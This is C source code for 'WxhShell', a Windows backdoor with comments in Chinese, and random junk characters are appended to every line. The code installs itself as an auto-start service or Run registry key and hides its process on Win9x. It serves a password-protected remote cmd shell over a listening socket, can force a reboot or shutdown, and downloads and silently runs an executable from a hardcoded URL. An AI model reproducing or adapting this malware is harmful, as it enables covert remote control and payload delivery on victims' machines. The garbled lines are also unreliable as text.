    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DzQ  
    else { l#`G4Vf  
    closesocket(wsh); #f YB4.i~  
    ExitThread(0); tc<uS%XT4^  
    } 6pSi-FH  
    break; N0.|Mb"?t  
    } 4l+!Z,b  
  // 获取shell R(`:~@ 3\6  
  case 's': { 15,JD  
    CmdShell(wsh); p[(I5p: L  
    closesocket(wsh); nYFrp)DLK  
    ExitThread(0); wD=]U@t`,  
    break; YZj*F-}  
  } NC#F:M;b  
  // 退出 s2#Ia>5!  
  case 'x': { i'7+ ?YL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D:;idUO  
    CloseIt(wsh); LP=j/qf|  
    break; Ps74SoD-  
    } BBRL _6  
  // 离开 Jjm#ofv  
  case 'q': { s4~[GO6>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vv45w#w;  
    closesocket(wsh); +.Ij%S[Px5  
    WSACleanup(); e=WjFnK[x7  
    exit(1); FO5a<6  
    break; REU,"  
        } 3f] ;y<Km  
  } pK@=]K~l0  
  } USEb} M`  
j/z=<jA  
  // 提示信息 >m>F {v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ca{MJz'  
} Q-n8~Ey1a  
  } ;~EQS.Qp  
PDuc;RG  
  return; @kqxN\DE  
}  @Fb1D"!  
+yp:douERi  
// shell模块句柄 Z*i p=FYR  
int CmdShell(SOCKET sock) P"8Ix  
{ \3$!)z  
STARTUPINFO si; u3C_Xz  
ZeroMemory(&si,sizeof(si)); RqtBz3v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l!F$V;R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BVw2skOT  
PROCESS_INFORMATION ProcessInfo; RZzHlZ  
char cmdline[]="cmd"; n7cy[%yT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ch8a  
  return 0; =FrB{Eu  
} Gv_~@MN  
wQSye*ec  
// 自身启动模式 #GE]]7:Na  
int StartFromService(void) Q$c6l[(g  
{ ;:fW]5"R  
typedef struct rG}e\ziKuj  
{ 4,e'B-.  
  DWORD ExitStatus; z#^fS |  
  DWORD PebBaseAddress; AJbCC  
  DWORD AffinityMask; TI4Hu,rc  
  DWORD BasePriority; YV<y-,Io  
  ULONG UniqueProcessId; ,Uz8_r  
  ULONG InheritedFromUniqueProcessId; ]>t~Bcn m  
}   PROCESS_BASIC_INFORMATION; LE\=Y;%  
->8Kd1^F  
PROCNTQSIP NtQueryInformationProcess; "XR=P> xk  
+?$J8Paf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *Jd"3Si/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _&uJE&xl}  
#i[:oC6m:  
  HANDLE             hProcess; H#~gx_^U  
  PROCESS_BASIC_INFORMATION pbi; ,~1'L6Ri?  
dU$VRgP/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "bm|p/A  
  if(NULL == hInst ) return 0; m2c'r3UEu  
BDB*>y7(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;=Ma+d#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C\EIaLN<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <+_XGOt0<  
>R+-mP!nj  
  if (!NtQueryInformationProcess) return 0; X zJ#)}f  
{^WK#$]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >A$L&8'C  
  if(!hProcess) return 0; 566!T_  
_MBhwNBxZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hOY@vm&  
>}+{;d  
  CloseHandle(hProcess); xB *b7-a  
m/KaWrw/)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BNfj0e5b  
if(hProcess==NULL) return 0; )`DVPudiy  
HwUaaK   
HMODULE hMod; ?woL17Gt  
char procName[255]; wa"0`a:`;  
unsigned long cbNeeded; rwRZGd *p  
^dI;B27E*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CS7b3p!I  
CO wcus  
  CloseHandle(hProcess); VeGSr  
(?jK|_  
if(strstr(procName,"services")) return 1; // 以服务启动 2~kx3` Q  
^kKLi  
  return 0; // 注册表启动 )9YDNVo*-  
} ZnEgU}g<2  
(Q*q# U  
// 主模块 1 l,fK)z  
int StartWxhshell(LPSTR lpCmdLine) )|~&(+Q?]  
{ qyz%9 9  
  SOCKET wsl; |_;kQ(,  
BOOL val=TRUE; >Xn,jMUW  
  int port=0; D+]mKPB  
  struct sockaddr_in door; q+?&w'8  
a*P v^Np-v  
  if(wscfg.ws_autoins) Install(); >C0B!MT?3%  
16iTE-J_  
port=atoi(lpCmdLine); UPhO =G  
*k{Llq  
if(port<=0) port=wscfg.ws_port; h`&TDB2  
Kxsd@^E  
  WSADATA data; MntmBj-T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SZWNN#w60?  
2(eO5.FYF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JtFq/&{i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y&6jFT_  
  door.sin_family = AF_INET; . >"xp6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :3D8rqi:  
  door.sin_port = htons(port); JHxcHh  
:Awwt0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z",0 $Gxu  
closesocket(wsl); 1=5"j]0hY  
return 1; +^AdD8U  
} E{,Wp U  
2*cNd}qr  
  if(listen(wsl,2) == INVALID_SOCKET) { >ywl()4O  
closesocket(wsl); bpY*;o$~  
return 1; {sw|bLo|+  
} /@`"&@W'  
  Wxhshell(wsl); G8repY  
  WSACleanup(); 6s@!Yn|?  
v}DNeIh~  
return 0; vPnS`&  
MXA?rjd0  
} y" =?l  
4@{;z4*`  
// 以NT服务方式启动 D$FTnY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H:G``Vq;0m  
{ D <iG*I  
DWORD   status = 0; (%^C}`|EA  
  DWORD   specificError = 0xfffffff; nAP*w6m0j  
K_M Ed1l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g2f"tu_/%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (Yy#:r;U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qsj$u-xhX  
  serviceStatus.dwWin32ExitCode     = 0;  L` [iI  
  serviceStatus.dwServiceSpecificExitCode = 0; z>!./z]p  
  serviceStatus.dwCheckPoint       = 0; s)\PY  
  serviceStatus.dwWaitHint       = 0; 4-bM90&1t  
eEqcAUn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0*MUe1{  
  if (hServiceStatusHandle==0) return; w"v96%"Y  
8(? &=>@  
status = GetLastError(); Jq^[^  
  if (status!=NO_ERROR) M(> 74(}]  
{ zw3I(_d[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )a^&7  
    serviceStatus.dwCheckPoint       = 0; 2m$C;j!D  
    serviceStatus.dwWaitHint       = 0; OdNo2SO  
    serviceStatus.dwWin32ExitCode     = status; Y$OE[nGi%X  
    serviceStatus.dwServiceSpecificExitCode = specificError; M&iXdw&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W%rUa&00  
    return; O]I AIM  
  } N1Y uLG:  
@.L#u#   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^C K!=oO  
  serviceStatus.dwCheckPoint       = 0; |21V OPBS  
  serviceStatus.dwWaitHint       = 0; $}4ao2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  D?Beg F  
} r;@0 F  
=bp'5h8_  
// 处理NT服务事件,比如:启动、停止 /%g@ ;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~vYFQKrb  
{ "C}<umJ'  
switch(fdwControl) 92j[b_P  
{ (%6fZ  
case SERVICE_CONTROL_STOP: O}C*weU  
  serviceStatus.dwWin32ExitCode = 0; 6EY\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5xc e1[  
  serviceStatus.dwCheckPoint   = 0; whN<{AG  
  serviceStatus.dwWaitHint     = 0; >JNdtP8s/1  
  { CL7_3^2qI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \6AM?}v  
  } rX^uHq8  
  return; N(i.E5&9  
case SERVICE_CONTROL_PAUSE: C#[P<=v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vAP1PQX;  
  break; &am<_Tn*3  
case SERVICE_CONTROL_CONTINUE: P:Q&lnC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z}SJ~WY'[  
  break; k/F#-},Q.  
case SERVICE_CONTROL_INTERROGATE: R.1.LB  
  break; #y&5pP:@  
}; y /vc\e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xsU%?"r  
} (e;/Smol  
-V2f.QE%  
// 标准应用程序主函数 bRggt6$z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  `\##M=  
{ `)$G}7cRUH  
8i^ ./P  
// 获取操作系统版本 n+ H2cl }  
OsIsNt=GetOsVer(); n3? msY(*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3 K||(  
1Y"9<ry  
  // 从命令行安装 jjrE8[  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;P' 5RCqj  
Y{~`g(~9_A  
  // 下载执行文件 ;0| :.q  
if(wscfg.ws_downexe) { p! k~uf U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M4|ION  
  WinExec(wscfg.ws_filenam,SW_HIDE); k^d^Todq.  
} qQf NT.  
7`7M4  
if(!OsIsNt) {  rPr]f;  
// 如果时win9x,隐藏进程并且设置为注册表启动 p/eaO{6 6  
HideProc(); ZG+FX:v  
StartWxhshell(lpCmdLine); P@bPdw!JA  
} 3{qB<*!p"G  
else "C3J[) qC  
  if(StartFromService()) P];0,;nF  
  // 以服务方式启动 r?~_^  
  StartServiceCtrlDispatcher(DispatchTable); J3'q.Pc  
else UFZOu%Y  
  // 普通方式启动 HP7~Zn)c  
  StartWxhshell(lpCmdLine); 0`V=x+*,  
0i5S=L`j  
return 0; $U/lm;{%  
} *" OlO}o  
*N: $,xf  
: ^p aI  
qHheF%[\5  
=========================================== 'cu14m_  
oP T)vN?  
?x 0gI   
: &nF>  
48S NI  
yIr0D 6L  
" /]0SF_dZ  
2&pE  
#include <stdio.h> HNc/p4z  
#include <string.h> gB%"JDn8  
#include <windows.h> @ G!Ir"Q  
#include <winsock2.h> } tBw<7fe  
#include <winsvc.h> V^!^wLLi  
#include <urlmon.h> [jCYj0Qf8  
;K7kBp\d  
#pragma comment (lib, "Ws2_32.lib") 2z$!}  
#pragma comment (lib, "urlmon.lib") hwvitD!0  
]1zud  
#define MAX_USER   100 // 最大客户端连接数 #l`\'0`.  
#define BUF_SOCK   200 // sock buffer 30SQ&j[N]  
#define KEY_BUFF   255 // 输入 buffer ~K5A$ s2  
QrFKjmD<  
#define REBOOT     0   // 重启 Y^DGnx("m  
#define SHUTDOWN   1   // 关机 hi(e%da  
Wt@hST  
#define DEF_PORT   5000 // 监听端口 v:Gy>&  
/kw;q{>?o  
#define REG_LEN     16   // 注册表键长度 G=Lg5`3;,  
#define SVC_LEN     80   // NT服务名长度 .x] pJ9  
6WIs*$T2*  
// 从dll定义API =z"8#_3A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t_16icF9U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PJ&L7   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $0OOH4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &PApO{#Q  
ai?N!RX%H  
// wxhshell配置信息 O#):*II`9  
struct WSCFG { yJ ]Va $M  
  int ws_port;         // 监听端口 x![.C,O  
  char ws_passstr[REG_LEN]; // 口令 \ qq  
  int ws_autoins;       // 安装标记, 1=yes 0=no Zv@ Fr9m  
  char ws_regname[REG_LEN]; // 注册表键名 VR1[-OE  
  char ws_svcname[REG_LEN]; // 服务名 z6;hFcO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oC} u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q7_Ttjn-DV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /s+IstW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O&y`:#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L^Q;M,.c;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `:EhYj.   
G,B4=[Y  
}; ;!=i|"P G  
X@:Y./  
// default Wxhshell configuration ?*xH HI/  
struct WSCFG wscfg={DEF_PORT, ypGt6t(;  
    "xuhuanlingzhe", CCt\[hl  
    1, <s\ZqL$ f  
    "Wxhshell", h6IXD N  
    "Wxhshell", fE)o-q6Z  
            "WxhShell Service", 6ce-92n  
    "Wrsky Windows CmdShell Service", hosY`"X  
    "Please Input Your Password: ", &%@O V:C  
  1, G3]#Du  
  "http://www.wrsky.com/wxhshell.exe", Nmt~1.J  
  "Wxhshell.exe" 5a@9PX^.J  
    }; ~Mar  
.m\0<8C  
// 消息定义模块 Wb cm1I)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <Uj9~yVN]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { J/Fp#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  \G)F*  
char *msg_ws_ext="\n\rExit."; 9iM%kY#)W  
char *msg_ws_end="\n\rQuit."; S3WUccv  
char *msg_ws_boot="\n\rReboot..."; 2P^qZDG 8I  
char *msg_ws_poff="\n\rShutdown..."; Wi!"V cn  
char *msg_ws_down="\n\rSave to "; TXyiCS3  
Px*<-t|R-  
char *msg_ws_err="\n\rErr!"; djw\%00&#  
char *msg_ws_ok="\n\rOK!"; lsOfpJ  
n{etDO  
char ExeFile[MAX_PATH]; (dQ=i  
int nUser = 0; ,d*hhe  
HANDLE handles[MAX_USER]; 1iLU{m9  
int OsIsNt; [.Kp/,JY  
1kvs2  
SERVICE_STATUS       serviceStatus; #,6T.O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u-:3C<&>  
; Ad5Jk  
// 函数声明 5F ^VvzNn  
int Install(void); lQ!OD& 6  
int Uninstall(void); %.$7-+:7A  
int DownloadFile(char *sURL, SOCKET wsh); t&[<Dl/L  
int Boot(int flag); >nih:5J,ja  
void HideProc(void); 9^8OIv?m8  
int GetOsVer(void); )i[Vq|n  
int Wxhshell(SOCKET wsl); -TG ="U  
void TalkWithClient(void *cs); b8YdONdy  
int CmdShell(SOCKET sock); Kdp($L9r  
int StartFromService(void); G-RDQ  
int StartWxhshell(LPSTR lpCmdLine); :lvBcFw  
idX''%"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GPL%8 YY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RB %y($  
LGZa l&9AY  
// 数据结构和表定义 NV9JMB{q  
SERVICE_TABLE_ENTRY DispatchTable[] = K5XW&|tY!  
{ Av5:/c.B  
{wscfg.ws_svcname, NTServiceMain}, MpZ\ j  
{NULL, NULL} Vr( Z;YO  
}; y35~bz^2  
2=0HQXXrq  
// 自我安装 8=joVbs  
int Install(void) udLIAV*  
{ 6j6;lNUc  
  char svExeFile[MAX_PATH]; fxr#T'i  
  HKEY key; {N/%%O.b  
  strcpy(svExeFile,ExeFile); \#B<'J9.`  
iQ2j ejd3(  
// 如果是win9x系统,修改注册表设为自启动 S >CKm:7  
if(!OsIsNt) { %Pt){9b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /}L2LMIm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &TA{US3~  
  RegCloseKey(key); ]Zc|<f;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -rm[.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bGgpPV  
  RegCloseKey(key); e3:L]4t  
  return 0; o,* D8[  
    } u Z-ZZE C  
  }  <9yh:1"X  
} u{\'/c7G  
else { S5y.H  
zhFm2  
// 如果是NT以上系统,安装为系统服务 fbOqxF"?we  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ) =29Hm"  
if (schSCManager!=0) rZaO^}u]  
{ Z f\~Cl  
  SC_HANDLE schService = CreateService fC*cqc~{@  
  ( -,p=;t#(  
  schSCManager, ZcyGLg0I  
  wscfg.ws_svcname, 7>F{.\Z  
  wscfg.ws_svcdisp, +>vKI8g*RH  
  SERVICE_ALL_ACCESS, * zyik[o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )hj:Xpj9#  
  SERVICE_AUTO_START, E BBd  
  SERVICE_ERROR_NORMAL, 4m1r@ $  
  svExeFile, KAFR.h:p9  
  NULL, ~tW~%]bs2Q  
  NULL, tB,(12@W  
  NULL,  sTlel&  
  NULL, ja';NIO-  
  NULL B#SVN Lv  
  ); JDE_*xaUV  
  if (schService!=0) VLkAsM5}%  
  { [{BY$"b#:  
  CloseServiceHandle(schService); bD:0k.`  
  CloseServiceHandle(schSCManager);  L1 /`/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cg]),S  
  strcat(svExeFile,wscfg.ws_svcname); Im/tU6ybV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uu,F5<y[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZqVbNIY   
  RegCloseKey(key); 'OziP  
  return 0; d`B<\Y#{Us  
    } p T8?z  
  } x}?<9(nE c  
  CloseServiceHandle(schSCManager); Wx{E\ l  
} ~:bdS 4w  
} 'Uf?-t*LT@  
6xJffl  
return 1; \?^2}K/  
} Z}dK6h5+'  
e:9EP,  
// 自我卸载 V1V0T ,  
int Uninstall(void) {a:05Y  
{ <d H@e  
  HKEY key; Q,xL8i M,  
l_+@Xpl  
if(!OsIsNt) { x2#JD|0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p#ar`-vQ  
  RegDeleteValue(key,wscfg.ws_regname); "}fweCBgo  
  RegCloseKey(key); jBw)8~tYm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J}X{8Ds9  
  RegDeleteValue(key,wscfg.ws_regname); FHSoj=  
  RegCloseKey(key); :Tg+)cZ  
  return 0; 67& hXIp  
  } &S*~EM.l8  
} K ?!qNK  
} IL %]4,  
else { s51$x M  
J @"#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +hmFFQQ}  
if (schSCManager!=0) @9gZH_ur>E  
{ g8%O^)d=>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &P|[YP37_  
  if (schService!=0) x [FLV8`b|  
  { <s'de$[  
  if(DeleteService(schService)!=0) { !-f Bw  
  CloseServiceHandle(schService); *n? 1C"l  
  CloseServiceHandle(schSCManager); {G:y?q'z  
  return 0; &oS$<  
  } _]>1(8_N  
  CloseServiceHandle(schService); FI$:R  
  } 'RK"/ZhqE  
  CloseServiceHandle(schSCManager); PX 8UVA  
} r<e%;S  
} 5XZ! yYB?  
@%R<3!3v  
return 1; '+cI W(F?  
} y~ =H`PAE  
`um,S  
// 从指定url下载文件 ^hC'\09=c  
int DownloadFile(char *sURL, SOCKET wsh) 2nd n8_l  
{ \j>7x  
  HRESULT hr; ~t`s&t'c|  
char seps[]= "/"; ?0VR2Yb${b  
char *token; yJm"vN  
char *file; aKbmj  
char myURL[MAX_PATH]; %T{]l;5  
char myFILE[MAX_PATH]; }Q/onB t  
WVbrbs4  
strcpy(myURL,sURL); fSuykbZ  
  token=strtok(myURL,seps); 7Gc{&hp*  
  while(token!=NULL) \c}(rqT  
  { dw bR,K  
    file=token; Q6@<7E]y  
  token=strtok(NULL,seps); ^"/^)Lb!@M  
  } &N|$G8\CY  
Iry$z^  
GetCurrentDirectory(MAX_PATH,myFILE); 9B: 3Ha=  
strcat(myFILE, "\\"); DZ8|20b  
strcat(myFILE, file); ` R6`"hx$  
  send(wsh,myFILE,strlen(myFILE),0); \2i7\U  
send(wsh,"...",3,0); #&&T1;z"#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _>;Wz7  
  if(hr==S_OK) !Lf<hS^  
return 0; V)`2 Kw  
else IY`p7 )#i  
return 1; =?fz-HB  
$<^t][{  
} V8?}I)#(7  
K9lgDk"i  
// 系统电源模块 'YNaLZ20  
int Boot(int flag) =Ph8&l7~sp  
{ ut{T:kT  
  HANDLE hToken; j9+$hu#a  
  TOKEN_PRIVILEGES tkp; >gk_klLh  
Lx^ eaP5  
  if(OsIsNt) { /U~|B.z@6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \*xB<mq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /d8o*m'bu!  
    tkp.PrivilegeCount = 1; !~@GIr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UNdD2Fd9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y`|+sND  
if(flag==REBOOT) { 5'~_d@M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _kj]vbG^;  
  return 0; "s*-dZO  
} J!6FlcsZm  
else { RLB3 -=9t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *T|B'80  
  return 0; gE-y`2SU  
} l4Xz r:]  
  } rl*O-S/  
  else { Ifj&S'():  
if(flag==REBOOT) { CLb6XnkcA\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~GaGDS\V  
  return 0; AZtS4]4G)  
} a|aVc'j  
else { bLgH3[{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /:&!o2&1H  
  return 0; l>?c AB[  
} p*Bty@CRi  
} hRcb}>pr  
c?p^!zG  
return 1; U@lc 1#  
} NR{wq|"  
&1xCPKIr  
// win9x进程隐藏模块 xvr5$x|h  
void HideProc(void) 2ej7Ql_@c  
{ <qCa 9@Ea  
<AHpk5Sn{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uy'ghF  
  if ( hKernel != NULL ) W? iA P  
  { Qw5nfg3T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wgq|Q*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OG,P"sv  
    FreeLibrary(hKernel); sGvbL-S-f:  
  } \U~4b_aN  
S:\i M:  
return; )xGAe#E~j  
} [M_{~1xX  
h6 \P&Z  
// 获取操作系统版本 <#63tN9  
int GetOsVer(void) THA9OXP  
{ hGRj  
  OSVERSIONINFO winfo; 90}{4&C.^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QFyL2Xes/  
  GetVersionEx(&winfo); mCtS_"W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YdY-Jg Xm  
  return 1; )&DAbB!O  
  else =BsV`p7rU  
  return 0; {Z.6\G&q  
} DT1gy:?L  
x%P|T3Qy5  
// 客户端句柄模块 "(koR Q  
int Wxhshell(SOCKET wsl) Gn]36~)*H  
{ .p`4>XA  
  SOCKET wsh; g8),$:Uw  
  struct sockaddr_in client; adON&<  
  DWORD myID; bQll;U^A  
?Cq7_rq  
  while(nUser<MAX_USER) ntiS7g e1  
{ T X`X5j  
  int nSize=sizeof(client); xS18t="  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3:%k pnO  
  if(wsh==INVALID_SOCKET) return 1; jjpYg  
*OVB;]D3+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Z/`p~e  
if(handles[nUser]==0) ;`9f<d#\  
  closesocket(wsh); 1C[9}}  
else y!e]bvN  
  nUser++; }fpya2Xt  
  } fGgt[f[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;?6vKpj;  
4 p_C+4  
  return 0; &[.5@sv  
} ."K>h3(&V  
K,f:X g!:  
// 关闭 socket qZoDeN-CC  
void CloseIt(SOCKET wsh) UNI< r  
{ I Mgd2qIC  
closesocket(wsh); p:,Y6[gMo  
nUser--; ~Eut_d  
ExitThread(0); ^S#;   
} &}ZmT>q`$  
N,ht<l\  
// 客户端请求句柄 > =>/~dIb  
void TalkWithClient(void *cs) ,m=F H?5  
{ [+#m THX  
e4X df>B  
  SOCKET wsh=(SOCKET)cs; N&8TG  
  char pwd[SVC_LEN]; ?M2(8 0  
  char cmd[KEY_BUFF]; ;#B(L=/  
char chr[1]; I8*VM3  
int i,j; ;'!x  
! \] ^c  
  while (nUser < MAX_USER) { #GsOE#*>T  
]{-.?W*$  
if(wscfg.ws_passstr) { jA? #!lx_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c=\tf~}^Ms  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (5a73%>@  
  //ZeroMemory(pwd,KEY_BUFF); MsB >3  
      i=0; Nk~}aj  
  while(i<SVC_LEN) { ` ]|X_!J-  
UuG%5 ZC  
  // 设置超时 F[qXIL)  
  fd_set FdRead; t2&kGf"  
  struct timeval TimeOut; :WhJDx`j  
  FD_ZERO(&FdRead); sW^M  ]  
  FD_SET(wsh,&FdRead); &K[*vyD  
  TimeOut.tv_sec=8; 5 s7BUT  
  TimeOut.tv_usec=0;  CB7dr&>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =j]y?;7q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w+o5iPLX  
];r! M0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {f*Y}/@  
  pwd=chr[0]; \BOoY#!a  
  if(chr[0]==0xd || chr[0]==0xa) { ,|%KlHo^  
  pwd=0; :\](m64z;  
  break; LS@TTiN   
  } s"(RdJ-,  
  i++; 6)HmE[[F  
    } D)*   
O5dS$[`j\p  
  // 如果是非法用户,关闭 socket <H[w0Z$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \u=d`}E  
} `At.$3B  
2Gyq40  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vz^ ] g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R!VfTAv  
:cpj{v;s  
while(1) { $+eeE  
N#w5}It  
  ZeroMemory(cmd,KEY_BUFF); pDQ f(@M[  
_S!^=9bJ  
      // 自动支持客户端 telnet标准   #-az]s|N  
  j=0; d[9,J?'OQ  
  while(j<KEY_BUFF) { s"L&y <?)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .X g.,kW  
  cmd[j]=chr[0]; >OG189O  
  if(chr[0]==0xa || chr[0]==0xd) { z%&FLdXgW+  
  cmd[j]=0; o$_0Qs$  
  break; /SvhOi  
  } g`EZLDjt  
  j++; w0QtGQ|  
    } rcnH^P  
_K5<)( )  
  // 下载文件 bC&A@.g{  
  if(strstr(cmd,"http://")) { / "m s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5hs_k[q  
  if(DownloadFile(cmd,wsh)) ]l7W5$26 @  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #%,X),%-  
  else  ^`H'LD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t@KTiJI ]  
  } .EYL  
  else { *i#2>=)  
Zy0M\-Mn  
    switch(cmd[0]) { VPN 9 Ql=  
  >}k*!J|  
  // 帮助 )! [B(  
  case '?': { #83   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @kXuC<  
